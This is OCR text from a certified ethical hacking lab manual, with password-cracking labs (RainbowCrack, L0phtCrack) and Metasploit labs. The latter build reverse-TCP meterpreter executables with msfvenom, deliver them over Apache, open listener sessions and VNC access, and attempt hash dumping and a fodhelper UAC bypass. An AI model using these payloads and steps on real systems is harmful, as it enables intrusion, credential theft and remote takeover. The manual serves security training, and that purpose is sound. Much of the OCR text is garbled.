7, RainbowCrack = o X
File Edt View Rambow Table Help
Hash Plaintext Plaintext in Hex Comment
31d6cfeld16ae931b73c59d7e0c089c0 Administrator
31d6cfe0d16ae931b73c59d7e0c089c0 Guest
31d6cfe0d16ae931b73¢59d7e0c089c0 DefaultAccount
<notfound> <not found> Admin
] 5ebe7dfa074das de876 apple 617070665 Martin
] 2d20d2522479485¢0f5e 171d93985bf  qwenty 717765727479 Jason
7] 0cb63488051797b12a82807973b83537 test 74657374 Shiela
< >
sages
plaintext of 2d20d252a479f485¢cdfBe 171d93985bf is qwerty ~
statistics
plaintext found. 3of4
ozl time 1105s
jme of chain traverse: EALE
ime of alarm check: 677s
bme of disk read. 064s
hash & reduce calculation of chain traverse: 11510400
hash & reduce calculation of alam check 34352770
pumber of alarm. 55343
rf of chain traverse: 280 million/s
[performance of alarm check: 5.08 millior/s .

FIGURE 3.12 passwords cracked by RainbowCrack
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Module 06 - System Hacking

Lab Analysis

Analyze and document the results related to this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemnet Connection Required

[ Yes No
Platform Supported
M Classroom M iLabs
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Module 06 - System Hacking

Auditing System Passwords using
LOphtCrack

LOphtCrack is a password anditing tool that contains features such as scheduling, hash
extraction from 64-bit Windows versions, multiprocessor algorithms, and network
monitoring and decoding. It can import and crack UNIX password files from remote
Windows machines.

Lab Scenario

Because secutity and compliance are high priorities for most organizations,
attacks on an organization's computer systems take many different forms, such
as spoofing, smurfing, and other types of Denial of Service (DoS) attacks. These
attacks are designed to harm or interrupt the use of your operational systems.

Password cracking is a term used to describe the penetration of a network, system,
or resource with or without the use of tools to unlock a resource that has been
secured with a password. In this lab, we will look at what password cracking is,
why attackers do it, how they achieve their goals, and what you can do to do to
protect yourself. Through an examination of several scenatios, in this lab we
describe some of the techniques they deploy and the tools that aid them in their
assaults and how password crackers work both internally and externally to violate
a company's infrastructure.

To be an expert ethical hacker and penetration tester, you must understand how
to crack an administrator password. In this lab, we crack system user accounts
using L.OphtCrack.

Lab Objectives

The objective of this lab is to help students learn how to:

=  Use the LOphtCrack tool to attain user passwords that can be easily cracked
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Hrask 1

Install and
Configure
LOphtCrack

m You can also
download the LOphtCrack
from

http:/ / www.l0phtcrack.
com.

Module 06 - System Hacking

Lab Environment

To carty out the lab you need:

LOphtCrack tool located at Z:\CEH-Tools\CEHv10 Module 06 System
Hacking\Password Cracking Tools\LOphtCrack

Windows Server 2016 running as a machine
Windows Server 2012 running as a machine

Or download the latest version of LOphtCrack at
httpZ/www.lOphtcrack.com

Administrative privileges to run tools

Lab Duration
Time: 15 Minutes
Overview of the Lab

In this lab, being a secutity auditor, you will be running the LOphtCrack tool by giving
the remote machine’s administrator user credentials. User accounts passwords that are
cracked in a short amount of time are considered to be weak, and you need to take
certain measures to make them stronger.

In this lab, we are auditing passwords on a Windows Server 2012 system.

Lab Tasks

1. Launch Windows Server 2012 virtual machine.

2. TLaunch and Login to Windows Server 2016 and navigate to Z:\CEH-
Tools\CEHv10 Module 06 System Hacking\Password Cracking
Tools\LOphtCrack. Double-click Ic7setup_v7.0.15_Win64.exe.

3. If an Open File - Security Warning appears, click Run.

4. Follow the wizard dfiven installation steps to install LOphtCrack.

Note: At the time of installation, Program Compatibility Assistant pop-up
may appear. Click Close, and continue with the installation.
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5. On completing the installation, launch LOphtCrack application from
Apps list.

Windaws Server

>3

Wirdows
PowerShet

Contrel Panel

Event Viewer

wed Encryptior

Nideap

FIGURE 4.1: Launching the application from Apps list

6. Click Proceed With Trial button in L.OphtCrack 7 Trial window.

Y& LOphtCrack 7 - Trial X

Trial Exprres In 15 Days

LOphtCrack 7 is available for a 15-day trial evaluation period. At the end of this
trial period, the software will stop working and you must purchase a license to
continue use,

Trials are imited to auditing 10 accounts at a time.

Purchase License

Activate License

Proceed With Trial

Exit LOphtCrack 7

FIGURE 4.2: LOphtCrack7-Trial window
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7. Click Password Auditing Wizard as shown in the screenshot

> Password Auditing Wizard

Show This Di

FIGURE 4.3: Start Password auditing wizard

8. In Introduction wizard click Next.

5 LC7 Password Auditing Wizard

Introduction

me to the LOph 7 ard, This wizard will pro u with step-by-step
uctions to get you au minutes.

the wizard will termine from where ve your encrypted
methods to use

Then LOphtCrack b j report status to
you along the

FIGURE 4.4: Password auditing wizard window
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9. In Choose Target System Type wizard choose the Operating System
type and click Next. In this lab we are choosing Windows.

5 LC7 Password Auditing Wizard

H Choose Target System Type
Pl 0 th e of from which you lke to retrieve the

Unix-like:
8D

Linux, FreeBSD, OpenBSD, St

FIGURE 4.5: Choose target system type option
10. Choose A remote machine radio button in Windows Import wizard, click
Next.

% LC7 Password Auditing Wizard

q Windows Import
ve the Windows ha:

Ch source from which to

The local machine
Reg cal administrative privik

A remote machine

administration enable
h. To simpiify this

A file generated by PWDump, FGDump or compatible tool

FIGURE 4.6: Windows import option
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11. In Windows Import From Remote Machine (SMB) wizard, type in the
required details as shown in the screenshot.

12. In the Host field type the IP address of the Target machine, here
Windows Server 2012 (10.10.10.12)

13. Select Use Specific User Credentials radio button, and in the
Credentials section type the login Credentials of Windows Server 2012
machine

Username: Administrator
Password: Pa$$wOrd

14. If the machine is under the Domain, enter the domain name in the
Domain section, here Windows Server 2012 belongs to CEH.com domain.

15. Once you entered all the required fields, click Next to proceed.

L LC7 Password Auditing Wizard

Use Spedfic User Credentials

Crodentias

jsername:

drinistrator

faudt For Al Hosts

FIGURE 4.7: Windows import from remote machine SMB) menu

CEH Lab Manual Page 478 Ethical Hacking and G Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 06 - System Hacking

16. In the Choose Audit Type wizard, select Strong Password Audit radio
button and click Next.

5 LC7 Password Auditing Wizard

- Choose Audit Type

the type of audt

alobie permy
vl Bl take several d

FIGURE 4.8: Choose audit type section of LCT wizard
17. In Reporting Options wizatd, check Generate Report at End of Auditing

option and then choose the Report type (here, €8V) and click Browse
button to store the report in the desired location.

& LC7 Password Auditing Wizard

_ Reporting Options

FIGURE 4.9: Reporting options section
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18. In this lab we are choosing location as Desktop. Type file name, and click
Save in Choose report file name window as shown in the screenshot.

Y% Choose report file name

. « 4 [ > ThisPC » Desktop

Organize v New folder

. Shared A Name Date modified Type

~ [ This PC No iterns match your search
Documents

¥ Downloads

J‘ Music

& Pictures
B Videos
4 Local Disk (C2)

“x CEH-Tools (\\RC
v <

File name: [Fassword_Audﬂ_ReporLcM
Save as type:  CSV Files (".csv)

A Hide Folders

FIGURE 4.10: Choose report filename window

19. Click Next in the Reporting Options wizard after providing the location.

=5 LC7 Password Auditing Wizard

— Reporting Options

Generste Repot a2 End of Auditing

C:\Users\Administy

Display passwords when audited
M f the tme, iV

FIGURE 4.11: Reporting options section
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20. Choose Run this job immediately radio button and click Next in the Job
Scheduling wizard.

=5 LC7 Password Auditing Wizard

Job Scheduling

d for a later
oh the queue

Run this job immediately
The job wil start as soon as the

Sc
Th

hedule this job to run later

e jol lart at a s ed da

1f you are logoe t, it will run n the badkgros
and starting LC

FIGURE 4.12: Job sched uling option

21. In the Summary wizard, click Finish.

55 LC7 Password Auditing Wizard

Summary

permutations)

ord_Audt_Report.csv

o
un this audit mme

FIGURE 4.13: Summary option
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22. Perform Calibration pop-up appears; click No to continue.

Note: Perform Calibration pop-up will appear multiple times during the
password cracking process, click No every time it appeatrs.

= Perform Calibration? X

LOphtCrack 7 can perform faster if you run calibration on your system.

This is a one-time operation that measures the speed of all cracking methods for
each hash type. This is only performed once, and will take a few minutes.

If you do not calibrate, the default CPU-based algorithms will be chosen.

Do you wish to run calibration now?

| Don't ask this question again

FIGURE 4.14: Perform calibration window

23. Copying LC7 Agent pop-up appears; click Yes to continue.

LS Copying LC7 Agent X
The LC7Agent on the remote machine will be installed.
There is a possibility of a man-in-the-middle attack unless you are using

NTLMvZ between your machine and the server.
If this is not acceptable for your environment, please install the LC7 Agent by

hand on the target machine, following the directions in the documentation.
Are you sure you want to proceed?

FIGURE 4.15: Copying LC7 agent window
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24, 1.0phtCrack starts cracking the passwords of the target machine. In the
lower right comer of the window you can see the status as shown in the
screenshot.

L0pmCrack 7 -T15 Wins [Urnamed Seszion] *

NTLM) :

Farform v

FIGURE 4.16: Cracking password in progress

25. LOphtCrack will show you the cracked passwords of the users that are
available in the target machine.

vine | @ wuw

FIGURE 4.17: passwords successfully cracked
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26. So, you have successfully attained weak as well as strong passwords. You can
click the Stop button present at the lower left corner of the window once you
gain all the passwords.

Lab Analysis

Documentall the results and repotts gathered duting the lab.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

O Yes M No
Platform Supported
M Classroom iLabs
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Module 06 - System Hacking

Exploiting Client Side Vulnerabilities
and Establishing a VNC Session

Attackers use client-side vulnerabilities to exploit unpatched software, thereby attaining
aceess to the machine on which the software is installed

Lab Scenario

VNC enables attackers to remotely access and control computers targeted from
another computer or mobile device, wherever they are in the world. At the same
time, it is also used by network administrators and organizations throughout every
industry sector for a range of different scenarios and use cases, including
providing I'T desktop support to colleagues and friends, and accessing systems
and services on the move. Here, we will see how attackers can exploit
vulnerabilities in target systems to establish unauthorized VNC sessions and
remotely control these targets.

Lab Objectives

The objective of this lab is to help students learn how to exploit client-side
vulnerabilities and establish a VNC session.

Lab Environment
To catry this out, you need:
= Kali Linux running in virtual machine (Attacker Machine)
= Windows 10 running in virtual machine (Victim machine)
= A web browser
= Administrative privileges to run tools
Lab Duration
Time: 10 Minutes
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Overview of the Lab

This lab demonstrates the exploitation procedure enforced on a weakly patched
Windows 10 machine that allows you to gain remote access to it through a remote
desktop connection.

Lab Tasks

BEF A % 1. Launch Kali Linux machine and login. Open a Terminal and type
msfvenom -p windows/meterpreter/ireverse_tcp --platform windows -a
Launch x86 -f exe LHOST=(attacker machine IP address) LPORT=444 -o
Metasploit Iroot/Desktop/Test.exe and press Enter.
e Note: Here the attacker machine IP address is 10.10.10.11 (Kali Linux
Machine)

e EOn View Seach Termisl Help

tform windows -a x86 -T e

FIGURE 5.1: Generating malicious exe fik

2. 'This will generate Test.exe, a malicious file on Desktop as shown in the
screenshot.

LD Msfeonsole can also be
hunched from Applications
>Kali Linux >Top 10
Security Tools >metasploit
framework.

FIGURE 5.2: Malicious file successfully generated

3. Now create a ditectory to shate this file with the victim’s machine,
provide the permissions and copy the file from Desktop to shared

m In the Metasploit location.

Framework, all modules are

Ruby clsscs. a. Type mkdir /var/www/htmUshare and press Enter to create a share
folder.

b. Type chmod -R 755 /var/www/html/share and press Enter.

c. Type chown -R www-data:www-data /var/'www/html/share press
Enter.
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m “The msfconsok:
includes extensive regular-
expression based search
functionality. If you have a
general Kea of what you are
looking for you can search for
it via "scarch ',

Hrtask 2

Using Browser
Exploit for
Windows

HrTtask 3

Setting Payload

EL This moduke exphoits
memoty corruption
vulnerability within
Microsoft\'s HIMI. engine
(mshtml). When patsing an
HIMI page containing a
SS import,a C++
object is deketed and hter
reused.

recutsive

d
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Now copy the malicious file to the shared location by typing cp
Iroot/Desktop/Test.exe /var/www/htmlshare and press Enter.

aAQLa - L

platform windows y x86 -f ¢

raw payload

shared®

FIGURE 5.3: Sharing the malicious exe fik

4. Now start the apache service, to do this type service apache2 start and
press Enter.

ool -

°Q4‘I

Search  Terminal  Help

# service apache2 start
|

FIGURE 5.4: Starting the apache service

5. Type msfconsole and press Enter to launch Metasploit framework.

Toot@hall - L)

fconsole
sploit Framework console

FIGURE 5.5: Launching msfeonsole

6. In msf console type use multi/handler and press Enter.

=

asploit Pro trial

/handler
)

FIGURE 5.6: Setting up a listener

7. Now we need to set the payload, LHOST, LPORT to do this:

a.

Typc set payload windows/meterpreter/reverse_tcp and press
Enter.

b. Type set LHOST 10.10.10.11 and press Enter.

C.

Type set LPORT 444 and press Enter.
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28] 1fyou have selected a
specific module, you canissue
the 'show options’ command
to disply which scttings are
available and/or required for
that specific module.

Hrask 4

Run Exploit

m “T'he "set’ command
allows you to configure
Framework options and
parameters for the current
maxdule you are working with.

Module 06 - System Hacking

8. Type exploit and press Enter to start the listener. Leave the Kali Linux

machine running and switch to Windows 10 machine.
Tootgal ~ 00 01

il t Vew Seach

- 299 post
- 40 encoders - 10 no|
-7.co/trymsp

|
|
1
1

) set payload windows/meterpreter/reverse tcp
sindows/meterpreter/reverse tcp
> set LHOST 10.10.10.11
et LPORT 444
exploit
FIGURE 5.7: Starting the listener
9. Login to Windows 10 machine, and open a browser. In this lab we are
using the Chrome browset.

10. In the address bar of the browser type http://10.10.10.11/share and press
Enter.

11. As soon as you press Enter, it will display the share folder contents as
shown in the screenshot.

12. Click Test.exe file to download.
Note: 10.10.10.11 is the IP address of the attacker machine i.e., Kali

Linux.
N indes of thave x B - - e |
Index of /share
Name Lastmodified Size Description
‘ 4 d

FIGURE 5.8: Downloading malicious exe file on victim’s system

CEH Lab Manual Page 488

Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 06 - System Hacking

13. The malicious file will be downloaded in the default downloads location
of the browser. Here in this lab Downloads is the location. Now, double-
click the Test.exe file to run.

=  Downloads = [m] X
Home Share View
<« v A & > ThisPC » Downloads v O Search Downloads P
28 Name - Date modified Type Size
v 3 Quick access
B Desktop v Apphestion BB

¥ Downloads #
S Do L

FIGURE 5.9: Malicious file successfully downloaded

Brask s 14. Open File - Security Warning window appears. Click Run. Leave the
Windows 10 machine running, and switch to Kali Linux machine.
Running Exploit

Open File - Security Warning X

The publisher could not be verified. Are you sure you want to run this
software?

Name: C:\Users\Admin\Downloads\Test.exe
Publisher: Unknown Publisher
Type: Application
From: C:\Users\Admin\Downloads\Test.exe

o

[ Always ask before opening this file

> This file does not have a valid digital signature that verifies its
@ publisher. You should only run software from publishers you trust.
How can | decide what software to run?

FIGURE 5.1(k Security warning on executing the exc file
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15. Now switch to the attacker machine i.e., Kali Linux machine. Observe
that one session is created or opened in the Meterpretershell as shown
in the screenshot.

ol = 990]

o v Seaxh lenmind  Help

1699 exploi iliary - 299 post ]
503 payloads - 40 encoders - 10 nops 1
Free Metasploit Pro trial: http://r-7.co/trymsp ]

multi/handler
! ) > set payload windows/meterpreter/reverse tcp
windows/meterpreter/reverse tcp
) > set LHOST 10.10.10.11
10.10.10.11
) > set LPORT 444

T ) exploit
] Exploit running as background job 8.

| Started reverse TCP handler on 10.10.160.11:444
nsf exploit( ) > [*] Sending stage (179267 bytes) to 10.10.10.10

] Meterpreter session 1 opened (16.10.10.11:444 -> 10.10.10.10:50320) at 2018-01-06 0
1:57:43 500

FIGURE 5.11: Meterpreter shell successfully obtained

L windows cen sde 16. To open a session in Meterpreter shell, type sessions -i 1 and press Enter.

attack using a browser
vulnerability and privilege

) Note: If the Meterpreter shell is connected to the session automatically,
escalation via task scheduler 3 5
exploit. then skip this step.

Fie / Seaxh lermingd  Help
15 L ) >|sessions -i
*] Starting interaction with 1..

neterpreter > i

FIGURE 5.12: Connecting to the victim machine through meterpreter shell

17. Meterpreter shell appears as shown in the screenshot. Type sysinfo and
press Enter to verify that Windows 10 machine is hacked.

.U,TASK 7

Remote View in

roatEal > o0
Kali Linux
neterpreter > sysinfo
omputer : DESKTOP-5V6DCV1
0 ild 15063)
Architecture
System Language
main
Logged On Users : 2
Meterpreter : x86/windows
neterpreter >
FIGURE 5.13: Windows 7 Machine Remote view in Kali Linux machine
18. Now, create a VNC session to capture to access Windows 10 machine
remotely.
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19. Type run vac and press Enter.

rootgrkali: -~ 0
e B4t Vew Seath lermind  Help

info
DESKTOP-SV8!
et

: x86/windows
run vnc
tep stager: LHOST=10.10.160.11 LPORT=4545

Running pay d handler

VNC stager ecutable 73802 bytes long

Uploaded the VNC agent to C: Admin\AppData\Local\Temp\gz0zIn.exe (must be del

~ted manually)
1 endpoint 10.10.10,11:4545...

FIGURE 5.14: Opening a VN

20. 'This will open a VNC session of the Victim’s machine as shown in the

session through meterpreter

screenshot.
TIGhVNC: desktep-svbdevl e 01
J
FIGURE 5.15: Vietim's system easily accessible through a VNC session
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Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
regarding your target’s secutity posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

M Yes [0 No
Platform Supported
M Classroom O iLabs

Ethical Hacking and Countermeasures Copyright © by EC-Councll

CEH Lab Manual Page 492
All Rights Reserved. Reproduction is Stricty P




e
ICON KEY

"7 Valusble
information

7 Test your
knowledge

B Web exercise

L Workbook review
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Escalating Privileges by Exploiting
Client Side Vulnerabilities

Privilege Escalation is the demonstration of misusing a bug, configuration imperfection,
or design oversight in a working framework or programming application to increase
lifted access to assets that are regularly shielded from an application or dient.

Lab Scenario

Once attackers gain access to the target system, they start looking for different ways
to escalate their privilege in the system. They can exploit vulnerability, design flaw or
configuration oversight in the operating system or software applications on the target
system to gain elevated access to resources that are normally protected from an
application or user. The privilege escalation can be vertical or lateral.

Lab Objectives

The objective of this lab is to help students learn how to escalate privileges on a victim
machine by exploiting its vulnerabilities.

Lab Environment

To perform this lab, you need:
®  Windows 8 running as virtual machine
=  Windows 10 running as virtual machine
= Kali Linux running as vittual machine

Lab Duration

Time: 20 Minutes
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H task 1

Create a
Backdoor

[Lmetasploit
Framework is a
tool for developing
and executing
exploit code
against a remote
target machine.

Module 06 - System Hacking

Overview of the Lab

This lab demonstrates the exploitation procedure enforced on a weakly patched
Windows 8 machine that allows you to gain access to it through a meterpreter shell;
and then employing privilege escalation techniques to attain administrative privileges
to the machine through meterpreter shell

Lab Tasks

Note: Before performing this lab, log in to Kali Linux virtual machine. Click
Places > Computer. Navigate to File System - etc > apache2, open
apache2.conf, enter the command servername localhost in 2 new line, and

save the file.

1. Launch Windows 10 virtual machine and log in to its administrator
account.

2. Switch to Kali Linux virtual machine and log into it.

3. Launch a command line terminal.

4. 'Type the command msfvenom -p windows/meterpreterireverse_tcp --

platform windows -a x86 - x86/shikata ga nai -b "x00"
LHOST=10.10.10.11 -f exe > Desktop/Exploit.exe and press Enter.

5

file Cdt Vew Seach

Terming, | lely

FIGURE 6.1: Creating a Payload

The above command will create 2 Windows executable file named
"Exploit.exe" and will be saved on the Kali Linux desktop.

FIGURE 6.2: Created Expbitexe file
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D: TASK 2

Share
Exploit.exe File

m To create new

ditectory, share the following
mmand is used: mkdir
fvar/www/share

m To change the mode of
share folder use the following
command:chmod -R*
fvarfwww/share/.

V‘_7 ‘T'o change
ownership of fokler into
www, use this command
chown -R wwaw-data

fvar/www/share/.

Module 06 - System Hacking

6. Now you need to share Exploit.exe with the victim machine. (In this lab,
we are using Windows 10 as the victim machine).

7. Open a new command line terminal, type the command mkdir
Ivar/www/html/share and press Enter to create a new directory named
share.

Fite

root@kali: ~ e e 01

Edit View Search Terminal Help

# mkdir /var/www/html/share

# 1

FIGURE 6.3: Creating a Directory

8. Change the mode for the share folder to 755 by typing the command
chmod -R 755 /variwww/html/share/ and press Enter.

root@kall: ~ (- JC] 01

File Edit View Search Terminal Help
# mkdir /var/www/html/share

:~# chmod -R 755 /var/www/html/share
e l

FIGURE 6.4: Changing the Permission of the directory

9. Change the ownership of that folder to www-data, by typing the
command chown -R www-data:www-data /variwww/html/share/ and
pressing Enter.

root@kali: ~ e ® 9
File Edit View Search Terminal Help
# mkdir /var/www/html/share e |
chmod -R 755 /var/www/html/share
chown -R www-data:www-data /var/www/html/share

FIGURE 6.5: Change the ownership of the fokler

10. Type the command Is -la /variwww/html/ | grep share and press Enter.

root@kali: ~ e o0
File Edit View Search Terminal Help

mkdir /var/www/html/share
chmod -R 755 /var/www/html/share
chown -R www-data:www-data /var/www/html/share

1s -la /var/www/html/ p share

www-data w ata 4096 Nov 9 06:44 share

FIGURE 6.6: Configuring the Sharing Options
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"7To run the
apache web
server use the
following
command:
cp/root.msfd/data/
exploits/*
Nariwwwi/share/

H rtask 3

Perform
Exploitation

Module 06 - System Hacking

11. The next step is to start the apache server. Type the command service
apache2 start in Terminal, and press Enter.

root@kali: ~ o0

Fite Edit View Search Terminal Help
: Kdir /var/www/html/share
chmod -R 755 /var/www/html/share
chown -R www-data:www-data /var/www/html/share
s -la /var/www/html/ grep share

drwxr-xr-x 2 www-data www-data 4096 Nov 9 06:44 share
$ service apache2 art

FIGURE 6.7: Starting Apache webserver

12. Now that the apache web server is running, copy Exploit.exe file into the
share folder.

13. Type the command cp /root/Desktop/Exploit.exe /var/www/html/share/
in the terminal, and press Enter.

Fite Edit View Search Terminal Help
: mkdir /var/www/html/share
chmod -R 755 /var/www/html/share
chown -R www-data:www-data /var/www/html/sh
1s -la /var/www/html/ | grep share
www-data www-data 4096 Nov 9 06:44 share
ser e apache2 start
cp /root/Desktop/Exploit.exe /var/www/html/share/

1

drwxr-xr-x

%t N O % %

FIGURE 6.8: Copying the Exploitexe backdoor file

14. Type msfconsole in the terminal and press Enter.

root@kali: ~ e ® O
File Edit View Search Terminal Help
# msfconsole

90909090990909090990909090
ELELELEREREEGERELEERELEDET
90909090.96909090.90909090
90909090.90909090.90909090
90909090.906909090.09090900
90909090.90909090.09090900

[dddddddadddddddddddddddd Lo
[dddddddddaddddddddddadadadads
cccececcccce
ccccececececcecccocccccccccccccc
[dddddddadddddddddddddd a4
ccccccccc

FIGURE 6.9: Launching msfconsole
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15. Type use exploit/multihandler and press Enter, to handle exploits
launched outside the framework.

16. Now issue the following commands in msfconsole:

a) Type set payload windows/meterpreterireverse_tcp and press

Enter.
b) Type set LHOST 10.10.10.11 and press Enter.
root@kali: ~ (- IO <}

File Edit

View Search Terminal Help
T > c 9

it/multi/handler
f exploit( ) > set payload windows/meterpreter/reverse tcp
VAGEL! windows/meterpreter/re se tcp

exploit( > set LHOST 10.10.10.11

m To set reverse TCP use
the following command:

set paykoad
windows/meterpreter/revers
e tep

LHOST => 10.10.10.11
exploit( ) >

FIGURE 6.10: Configuring the Payload and Exploit

17. To start the handlet, type the command exploit -j -z and press Enter.
root@Kali: ~ o0

File Edit View Search Terminal Help
msf > use exploit/multi/handler
1sf exploit( ) > set payload windows/meterpreter/reverse tcp
oad => windows/meterpreter/reverse tcp
exploit( ) > set LHOST 10.10.10.11
10.10.10.11

f exploit ) > exploit -j -z

Exploit running as background job 0.

ayl

Started reverse TCP handler on 10.10.10.11:4444

1sf exploit( ) > l

FIGURE 6.11: Exploit the windows 8machine

Birask a 18. Now, switch to Windows 10 virtual machine.
Run the 19. Launch Chrome. Type the URL http://10.10.10.11/share/ in the address
Exploit bar, and press enter.

Note: Here 10.10.10.11 is the IP address of Kali Linux, which may vary in
your lab environment.

20. You will be redirected to the apache index webpage. Click Exploit.exe

link to download the backdoor file.

e ees ot e x [ B A |
< e« 01011 & . |
Index of /share
Name Last modified Size Description
06
< = |

FIGURE 6.12: Downkbading the backdoor File (Exploitexe)
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ELif you didn't
have apache2
installed, run apt-
get install
apache2

"~7To interact
with the available
session, you can
use sessions -i
<session id>
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21. Once the file is downloaded navigate to the download location of the
browser and double-click Exploit.exe file to execute. In this lab the
default location is Downloads folder.

T TOPRRER VR Bowrtosdh pe——my
" . . Monage L

Gplon exe

FIGURE 6.13: Saving the backdoor file
22. If an Open File - Security Warning window appears, click Run.

23, Leave the Windows machine running, so that Exploit.exe file runs in
background, and now switch to Kali Linux machine.

[Gpen File - Securtty Warning X

The publisher could not be verified. Are you sure you want to run this
software?

= Name  C:\Users\Admin\Downloads\Exploit.exe
Pubhsher:  Unknown Publisher
Type Application

From: C\Users\Admin\Downloads\Explott.exe

4 Always ask before opening this file

This file does not have  valid digits! signature that verifies its
‘@‘ publisher. You should only run software from publishers you trust

How can | decide what software to run

FIGURE 6.14: Saving the backdoor file

24. Switch back to the Kali Linux machine. Meterpreter session has been
successfully opened, as shown in the following screenshot:

root@kali: ~

View Search Temminal Help

468 encode

]
968 auxiliary s ]

5 ]
tasploit Pro trial: http://r-7.co/trymsp ]

exploit/multi/handler

set LHOST 10.10.10.11

> exploit -j -z
s background job @

d reverse TCP handler on 10.10.10.11:4444
Sending stage (179267 bytes) to 10.10.10.10
sion 1 opened (10.10.10.11:4444 -> 10.10.10.10:50112) at 2018

FIGURE 6.15: Meterpreter Session Attained
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25. Type sessions -i 1 and press Enter (1 in sessions -i 1 command is the id

number of the session). Meterpreter shell is launched, as shown in the
Establish a following screenshot:

Session P

Hrask s

root@kali: ~ e o0

File Edit View Search Terminal Help

503 payloads - 40 encoders - 10 nops

¥ ¥ ]
1699 exploits - 968 auxiliary - 299 post ]
]
Free Metasploit Pro trial: http://r-7.co/trymsp |

oit/multi/handler
) > set payload windows/meterpreter/reverse tcp
yload => windows/meterpreter/reverse tcp
f exploit( ) > set LHOST 10.10.10.11

10.10.10.11
) > exploit -j -z
Exploit running as background job ©.

Started reverse TCP handler on 10.10.10.11:4444
isf exploit( ) > [*] Sending stage (179267 bytes) to 10.10.10.10
] Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.10:50112) at 2018
01-06 05:02:23 -0500
sessions -i 1
*] Starting interaction with 1...

eterpreter >

FIGURE 6.16: Meterpreter Session Launched

26. Type getuid and press Enter. This displays the current user ID, as shown
in the following screenshot:

root@kali: ~ 00

File Edit View Search Terminal Help

tac it ]

[ 1699 exploits - 968 auxiliary - 299 post ]

503 payloads 40 encoders 160 nops ]

-- --=| Free Metasploit Pro trial: http://r-7.co/trymsp ]

nsf > use exploit/multi/handler
st exploit( ) > set payload windows/meterpreter/reverse tcp
yload => windows/meterpreter/reverse_tcp
f exploit( ) > set LHOST 10.10.10.11
LHOST => 10.10.10.11
f exploit( ) > exploit -j -z
*] Exploit running as background job ©.

*] Started reverse TCP handler on 10.10.10.11:4444
1sf exploit( ) > [*] Sending stage (179267 bytes) to 10.10.10.10
*] Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.10:50112) at 2018
-06 05:02:23 -0500
1
Starting interaction with 1...

ieterpreter > getuid
>erver username: DESKTOP-SV6DCVI1\Admin
eterpreter >

FIGURE 6.17: Viewing the Current User 1D

27. You will observe that the Meterpreter server is running with normal user
privileges.
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Hrtask 6

Perform Privilege
Escalation
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28. You will not be able to execute commands (such as hashdump, which
dumps the user account hashes located in the SAM file; clearev, which
clears the event logs remotely; etc)) that requires administrative/root
privileges.

29. Let us check this by executing the run
post/windows/gather/smart_hashdump command:

tarmat

0.10.10_windows .hashes 882802, txt

FIGURE 6.18: Access Denied

30. The command fails to dump the hashes from the SAM file located in
Windows 10 and returns an error stating that Insufficient Privileges to
dump hashes.

31. From this, it is evident that Meterpreter server requites admin privileges
to perform such actions.

32. Now, we shall try to escalate the privileges by issuing a getsystem
command that attempts to elevate the user privileges.

33. The command issued is:

a. getsystem -t 1: which uses the Service - Named Pipe
Impetsonation (In Memory/Admin) Technique

eterpreter > t
priv eleva getsystem: Operation failed: Access is denied. The following was attem

ed Pipe Impersonation (In Memory/Admin)

FIGURE 6.19: "Irying getsystem Command

34. The command fails to escalate privileges and returns an etror stating
Access is denied.

35. From the above result, it is evident that the security configuration of the
Windows 10 machine is blocking you from gaining unrestricted access to
1t.

36. Now, we shall try to bypass the user account control setting that is
blocking you from gaining unrestricted access to the machine.

37. You will now:

a. Move the current meterpreter session to the background,
b. use the bypassuac_fodhelper exploit for windows,

set meterpreter/reverse_tcp payload,
d. configure the exploit and payload,

e. exploit the machine using the above configured payload in an attempt
to elevate the privileges.
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38. Type background and press Enter. This command moves the current
meterpreter session to the background.

FIGURE 6.20: Back grounding the Session
39. Type use exploit'windows/local/bypassuac_fodhelper and press Enter.

40. Here, you need to configure the exploit. To know which options you need
to configure in the exploit, type show options and press Enter.

root@all ~ o0
File Tdt Vew Seach Termind He

use explo windows/local/bypassuac_fodhelper
) > show options

Name Cur

SESSION I session to run this module on.
=xploit target:
Id Name

0 ‘l:undu'a‘s x86
FIGURE 6.21: Setting the Exploit
41. The Module options section appeats, displaying the requirement for the
exploit.
42. You will observe that, the SESSION option is required, but the current
setting is empty.

43. Type set SESSION 1 (1 is the current meterpreter session which was in
the background in this lab) and press Enter.
FOREIFS e U]

File 4L\ arch  Termind  Help
) > use explo indows/local/bypassuac fodhelper
) how options

fodule options (exploit/windows/local/bypassuac fodhelper):
Name ired Description

SESSION yes The session to run this module on.

=xploit target:

Id Name

0  Windows x86

FIGURE 6.22: Setting the Exploit

44, Now that we have configured the exploit, our next step will be to set a
payload and configure it.

CEH Lab Manual Page 501 Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction i Strictly Prohibited.



Module 06 - System Hacking

45. Type set payload windows/meterpreterireverse_tcp and press Enter to
set the meterpreterireverse_tcp payload.

46. The next step is to configure this payload. To know all the options, you
need to configure in the exploit, type show options and press Enter.

rost@all: ~

File £dr Vew Seaxh Termind  Hep

et payload windows/meterpreter/reverse tcp
ndows/meterpreter/ erse_tc
show options

fodule options (exploit/windows/local/bypassuac_fodhelper):
Name Current Setting Required Description

SESSION 1 ] The session to run this module on.

load options (windows/meterpreter/reverse_tcp):

Name Current Set

EXITFUNC process es '', seh, thread, proc
, none)

LHOST /es The listen address

LPORT 4444 yes The listen port

Exploit target:

FIGURE 6.23: Setting the Payload

47. The Module options section appears, displaying the previously
configured exploit. Here, you can observe that the session value is set.

48. The Payload options section displays the requirement for the payload.
49. Observe that:

a. LHOST option is required, but the current setting is empty. Here,
you need to set the IP Address of the local host i.e., Kali Linux.

b. EXITFUNC option is required but the current setting is already set to
process, so ignore this option.

c. LPORT option is required but the current setting is already set to
port number 4444, so ignore this option.

50. To set the LHOST option, type set LHOST 10.10.10.11 and press Enter.
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51. To set the TARGET option, type set TARGET 0 and press Enter. Here
0 is nothing but Exploit Target ID.

